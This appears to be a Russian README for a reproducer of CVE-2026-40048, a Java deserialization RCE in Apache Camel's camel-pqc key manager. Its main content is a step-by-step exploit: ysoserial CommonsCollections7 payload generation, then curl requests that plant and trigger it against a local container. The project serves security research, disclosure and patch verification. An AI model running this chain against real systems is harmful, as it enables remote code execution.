
Репродуктор для CVE-2026-40048: Apache Camel camel-pqc FileBasedKeyLifecycleManager небезопасная десериализация (RCE)
Этот проект демонстрирует уязвимость десериализации Java в компоненте camel-pqc Apache Camel, отслеживаемую как CVE-2026-40048. FileBasedKeyLifecycleManager читает файлы <keyId>.key из настроенной директории ключей с помощью «сырого» ObjectInputStream и без ObjectInputFilter, поэтому злоумышленник, имеющий право записи в эту директорию, может добиться удалённого выполнения кода.
Уведомление: https://camel.apache.org/security/CVE-2026-40048.html
| Свойство | Значение |
|---|
| Компонент | camel-pqc |
| Затронутый класс | org.apache.camel.component.pqc.lifecycle.FileBasedKeyLifecycleManager (getKey) |
| CWE | CWE-502: Десериализация недоверенных данных |
| Воздействие | Удалённое выполнение кода (RCE) |
| Затронутые версии | С 4.18.0 до 4.18.2 и с 4.19.0 до 4.20.0 |
| Исправленные версии | 4.18.2, 4.20.0 |
| JIRA | CAMEL-23200 |
| Авторы отчёта | Andrea Cosentino (ASF), Venkatraman Kumar (Securin) |
FileBasedKeyLifecycleManager сохраняет постквантовые ключи как сериализованные Java-объекты в <keyDir>/<keyId>.key. При загрузке ключа этот файл десериализуется с помощью «сырого» ObjectInputStream, а приведение к KeyPair происходит только после возврата из readObject():
// FileBasedKeyLifecycleManager.getKey(keyId) - affected version
Path keyFile = getKeyFile(keyId); // keyDirectory.resolve(keyId + ".key")
try (ObjectInputStream ois = new ObjectInputStream(new BufferedInputStream(Files.newInputStream(keyFile)))) {
KeyPair keyPair = (KeyPair) ois.readObject(); // NO ObjectInputFilter — gadget runs before the cast
...
}
Злоумышленник, имеющий право записи в директорию ключей — через обход пути (path traversal), неверно настроенные права на томе, скомпрометированный конвейер предоставления ключей или атаку через симлинк — может разместить специально созданный сериализованный объект, который выполнится при обычной загрузке ключа в рамках его жизненного цикла.
mvn clean package -DskipTests
docker compose up -d --build
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar
# Benign proof: create /tmp/pwned. On JDK 21 add --add-opens to generate CC gadgets:
java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED \
--add-opens java.base/java.lang.reflect=ALL-UNNAMED \
-jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | base64 -w0 > payload.b64
<keyId>.keycurl -X POST http://localhost:8080/exploit/inject \
-H "Content-Type: text/plain" --data-binary @payload.b64
# writes the bytes to /tmp/pqc-keys/mykey.key inside the container
curl http://localhost:8080/exploit/trigger
# getKey("mykey") -> ObjectInputStream.readObject() -> gadget executes
# -> ">>> RCE proof — /tmp/pwned exists: true"
docker exec cve-2026-40048 ls -la /tmp/pwned
docker compose down
getKey() вызывается во время обычных операций жизненного цикла ключей (получение ключа подписи/проверки, проверки ротации и т. д.), поэтому любая загрузка размещённого злоумышленником <keyId>.key запускает десериализацию.
FileBasedKeyLifecycleManager (общий/неверно настроенный том, обход пути, скомпрометированное предоставление ключей, симлинк).commons-collections:3.2.1).Паттерн использования ObjectInputStream в хранилище ключей впоследствии был исправлен более широко:
Обновитесь до 4.18.2 / 4.20.0. Исправление заменяет хранение на основе ObjectInputStream стандартным Base64 JSON-кодированием PKCS#8 (закрытый ключ) / X.509 SubjectPublicKeyInfo (открытый ключ).
До обновления:
CVE-2026-40048/
├── pom.xml
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ └── ExploitController.java # /inject (plant .key), /trigger (getKey -> RCE), /cleanup
└── resources/
└── application.properties
Этот репродуктор предоставлен только для исследований в области безопасности и авторизованного тестирования, для публично раскрытой и исправленной уязвимости. Не используйте его против систем без явного разрешения.